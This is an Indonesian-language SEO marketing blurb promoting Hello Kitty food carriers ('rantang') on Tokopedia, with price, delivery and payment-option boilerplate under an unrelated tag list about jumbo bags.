Tags: jual jumbo bag, jual jumbo bag berkualitas, jual jumbo bag online, jual karung jumbo bag, jual karung jumbo bag online, jumbo bag baru, jumbo bag bekas, jumbo bag berkualitas, jumbo bag murah, karung jumbo bag


content: Gunakan peralatan Rantang Hello Kitty terbaik & berkualitas yang bisa anda temukan di lewat Tokopedia! Berbagai macam produk Rantang Hello Kitty yang tersedia di Tokopedia, mulai dari model, bentuk hingga desain terlengkap yang pastinya akan lebih melengkapi kebutuhan anda. Sedang mencari Toko Penjual Rantang Hello Kitty Terdekat dari lokasi anda saat ini? Cek aja di Tokopedia! Anda dapat lihat berbagai macam koleksi & katalog yang bervariasi dari Produk Rantang Hello Kitty dengan review terbaik di Tokopedia. Ingin cek berapa harga Rantang Hello Kitty terbaru saat ini? Di Tokopedia anda bisa cek Daftar Harga Rantang Hello Kitty Terbaru June 2022 setiap harinya. Jika anda butuh produk Rantang Hello Kitty dengan cepat, tidak perlu khawatir. Karena tersedia pilihan pengiriman yang dapat sampai dihari yang sama, bebas ongkir, bayar ditempat (COD), Cicilan 0% dari berbagai bank di Indonesia hingga promo Rantang Hello Kitty untuk pengguna baru! Yuk jual & beli Rantang Hello Kitty yang lengkap secara online dengan mudah dan cepat kapanpun dimanapun di Tokopedia sekarang!